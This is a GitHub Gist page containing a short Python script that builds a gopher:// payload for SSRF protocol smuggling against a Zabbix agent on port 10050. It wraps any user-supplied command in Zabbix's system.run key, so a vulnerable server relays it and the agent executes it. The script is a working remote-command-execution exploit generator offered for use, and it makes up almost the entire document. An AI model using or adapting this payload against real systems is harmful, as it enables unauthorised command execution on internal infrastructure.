Skip to content

Instantly share code, notes, and snippets.

@GugSaas
Created January 22, 2023 19:55
Show Gist options
  • Save GugSaas/45e57c0da832d7fe9146fe3970dc2078 to your computer and use it in GitHub Desktop.
Save GugSaas/45e57c0da832d7fe9146fe3970dc2078 to your computer and use it in GitHub Desktop.
Payload to exploit SSRF Protocol Smuggling to interact with Zabbix intead of Gopherus (out of date payload)
import struct
import urllib.parse
header = "ZBXD\x01"
key0 = input('Command: ')
key = f'system.run[({key0})]'
print("gopher://127.0.0.1:10050/_",end="")
print(urllib.parse.quote_plus(header).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"),end="")
print(urllib.parse.quote_plus(struct.pack("<Q", len(key)+2).decode()).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"),end="")
print(urllib.parse.quote_plus(key).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"),end="")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment